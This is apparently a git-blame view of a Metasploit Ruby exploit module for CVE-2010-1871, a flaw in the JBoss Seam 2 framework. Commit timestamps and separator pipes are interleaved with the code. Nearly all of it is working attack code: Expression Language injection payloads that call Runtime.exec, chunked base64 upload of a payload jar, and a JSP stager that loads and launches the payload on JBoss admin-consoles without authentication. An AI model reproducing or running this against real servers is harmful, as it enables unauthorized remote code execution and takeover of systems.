2015-02-18 01:25:01 +00:00
|
|
|
#
|
2015-04-06 17:34:49 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2015-02-18 01:25:01 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss Seam 2 File Upload and Execute',
|
|
|
|
'Description' => %q{
|
|
|
|
Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
|
|
|
|
sanitize inputs to some JBoss Expression Language expressions. As a
|
|
|
|
result, attackers can gain remote code execution through the
|
|
|
|
application server. This module leverages RCE to upload and execute
|
2015-04-06 17:34:49 +00:00
|
|
|
a given payload.
|
2015-02-18 01:25:01 +00:00
|
|
|
|
2015-04-06 17:34:49 +00:00
|
|
|
Versions of the JBoss application server (AS) admin-console are
|
|
|
|
known to be vulnerable to this exploit, without requiring authentication.
|
|
|
|
Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.
|
2015-02-18 01:25:01 +00:00
|
|
|
|
|
|
|
This module provides a more efficient method of exploitation - it
|
|
|
|
does not loop to find desired Java classes and methods.
|
|
|
|
},
|
|
|
|
'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
|
|
|
|
['CVE', '2010-1871'],
|
|
|
|
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
|
|
|
|
['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
|
|
|
|
['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
|
|
|
|
],
|
2015-02-18 01:29:52 +00:00
|
|
|
'DisclosureDate' => "Aug 05 2010",
|
2015-02-18 01:25:01 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => %w{ java },
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Platform' => 'java'
|
|
|
|
},
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),
|
|
|
|
OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]),
|
|
|
|
OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),
|
|
|
|
OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
|
|
|
|
OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]),
|
|
|
|
OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")
|
|
|
|
uri = target_uri.path
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => datastore['CTYPE'],
|
|
|
|
'agent' => datastore['AGENT'],
|
|
|
|
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
|
|
|
|
}, timeout=datastore['TIMEOUT'])
|
|
|
|
if (res and res.code == 302 and res.headers['Location'])
|
2015-04-21 16:14:03 +00:00
|
|
|
vprint_status("Server sent a 302 with location")
|
|
|
|
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
|
|
|
|
report_vuln({
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:name => "#{self.name} - #{uri}",
|
|
|
|
:refs => self.references,
|
|
|
|
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
|
|
|
|
})
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2015-02-18 01:25:01 +00:00
|
|
|
else
|
2015-04-21 16:14:03 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
2015-02-18 01:25:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# If we reach this point, we didn't find the service
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def execute_cmd(cmd)
|
|
|
|
cmd_to_run = Rex::Text.uri_encode(cmd)
|
|
|
|
vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")
|
|
|
|
uri = target_uri.path
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => datastore['CTYPE'],
|
|
|
|
'agent' => datastore['AGENT'],
|
|
|
|
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
|
|
|
|
}, timeout=datastore['TIMEOUT'])
|
|
|
|
if (res and res.code == 302 and res.headers['Location'])
|
|
|
|
if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))
|
|
|
|
vprint_status("#{rhost}:#{rport} Exploit successful")
|
|
|
|
else
|
|
|
|
vprint_status("#{rhost}:#{rport} Exploit failed.")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
vprint_status("#{rhost}:#{rport} Exploit failed.")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def call_jsp(jspname)
|
|
|
|
# TODO ugly way to strip off last resource on a path
|
|
|
|
uri = target_uri.path
|
|
|
|
*keep,ignore = uri.split(/\//)
|
|
|
|
keep.push(jspname)
|
|
|
|
uri = keep.join("/")
|
|
|
|
uri = "/" + uri if (uri[0] != "/")
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => datastore['CTYPE'],
|
|
|
|
'agent' => datastore['AGENT'],
|
|
|
|
'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)
|
|
|
|
}, timeout=datastore['TIMEOUT'])
|
|
|
|
if (res and res.code == 200)
|
|
|
|
vprint_status("Successful request to JSP")
|
|
|
|
else
|
|
|
|
vprint_error("Failed to request JSP")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def upload_jsp(filename,jarname)
|
|
|
|
jsp_text = <<EOJSP
|
|
|
|
<%@ page import="java.io.*"
|
|
|
|
%><%@ page import="java.net.*"
|
|
|
|
%><%
|
|
|
|
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
|
|
|
|
Class c = cl.loadClass("metasploit.Payload");
|
|
|
|
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
|
|
|
|
%>
|
|
|
|
EOJSP
|
|
|
|
vprint_status("Uploading JSP to launch payload")
|
|
|
|
status = upload_file_chunk(filename,'false',jsp_text)
|
|
|
|
if status
|
|
|
|
vprint_status("JSP uploaded to to #{filename}")
|
|
|
|
else
|
|
|
|
vprint_error("Failed to upload file.")
|
|
|
|
end
|
|
|
|
|
|
|
|
@pl_sent = true
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def upload_file_chunk(filename, append='false', chunk)
|
|
|
|
# create URL-safe Base64-encoded version of chunk
|
|
|
|
b64 = Rex::Text.encode_base64(chunk)
|
|
|
|
b64 = b64.gsub("+","%2b")
|
|
|
|
b64 = b64.gsub("/","%2f")
|
|
|
|
|
|
|
|
uri = target_uri.path
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => datastore['CTYPE'],
|
|
|
|
'agent' => datastore['AGENT'],
|
|
|
|
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
|
|
|
|
}, timeout=datastore['TIMEOUT'])
|
|
|
|
if (res and res.code == 302 and res.headers['Location'])
|
|
|
|
# TODO Including the conversationId part in this regex might cause
|
|
|
|
# failure on other Seam applications. Needs more testing
|
|
|
|
if (res.headers['Location'] =~ %r(user=&conversationId))
|
|
|
|
#vprint_status("#{rhost}:#{rport} Exploit successful.")
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
#vprint_status("#{rhost}:#{rport} Exploit failed.")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
else
|
|
|
|
#vprint_status("#{rhost}:#{rport} Exploit failed.")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def get_full_path(filename)
|
|
|
|
uri = target_uri.path
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => datastore['CTYPE'],
|
|
|
|
'agent' => datastore['AGENT'],
|
|
|
|
'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
|
|
|
|
}, timeout=datastore['TIMEOUT'])
|
|
|
|
if (res and res.code == 302 and res.headers['Location'])
|
|
|
|
# the user argument should be set to the result of our call - which
|
|
|
|
# will be the full path of our file
|
|
|
|
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
|
|
|
|
if (matches and matches.captures)
|
|
|
|
return Rex::Text::uri_decode(matches.captures[0])
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def java_stager(fname, chunk_size)
|
|
|
|
@payload_exe = fname + ".jar"
|
|
|
|
jsp_name = fname + ".jsp"
|
|
|
|
|
|
|
|
#data = payload.encoded_jar.pack
|
|
|
|
data = payload.encoded_jar.pack
|
|
|
|
|
|
|
|
append = 'false'
|
|
|
|
while (data.length > chunk_size)
|
2015-04-21 16:14:03 +00:00
|
|
|
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
|
|
|
|
if status
|
|
|
|
vprint_status("Uploaded chunk")
|
|
|
|
else
|
|
|
|
vprint_error("Failed to upload chunk")
|
|
|
|
break
|
|
|
|
end
|
|
|
|
data = data[chunk_size, data.length - chunk_size]
|
|
|
|
# first chunk is an overwrite, afterwards, we need to append
|
|
|
|
append = 'true'
|
2015-02-18 01:25:01 +00:00
|
|
|
end
|
|
|
|
status = upload_file_chunk(@payload_exe, 'true', data)
|
|
|
|
if status
|
|
|
|
vprint_status("Payload uploaded to " + @payload_exe)
|
|
|
|
else
|
|
|
|
vprint_error("Failed to upload file.")
|
|
|
|
end
|
|
|
|
|
|
|
|
# write a JSP that can call the payload in the jar
|
|
|
|
upload_jsp(jsp_name, @payload_exe)
|
|
|
|
|
|
|
|
pe_path = get_full_path(@payload_exe) || @payload_exe
|
|
|
|
jsp_path = get_full_path(jsp_name) || jsp_name
|
|
|
|
# try to clean up our stuff;
|
|
|
|
register_files_for_cleanup(pe_path, jsp_path)
|
|
|
|
|
|
|
|
# call the JSP to launch the payload
|
|
|
|
call_jsp(jsp_name)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
@pl_sent = false
|
|
|
|
|
|
|
|
if check == Exploit::CheckCode::Vulnerable
|
|
|
|
|
|
|
|
fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8))
|
|
|
|
|
|
|
|
vprint_status("#{rhost}:#{rport} Host is vulnerable")
|
|
|
|
vprint_status("#{rhost}:#{rport} Uploading file...")
|
|
|
|
|
|
|
|
# chunking code based on struts_code_exec_exception_delegator
|
|
|
|
append = 'false'
|
|
|
|
chunk_size = datastore['CHUNKSIZE']
|
|
|
|
# sanity check
|
|
|
|
if (chunk_size <= 0)
|
|
|
|
vprint_error("Invalid chunk size #{chunk_size}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2015-04-21 16:14:03 +00:00
|
|
|
vprint_status("Sending in chunks of #{chunk_size}")
|
2015-02-18 01:25:01 +00:00
|
|
|
|
|
|
|
case target['Platform']
|
|
|
|
when 'java'
|
|
|
|
java_stager(fname, chunk_size)
|
|
|
|
else
|
|
|
|
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|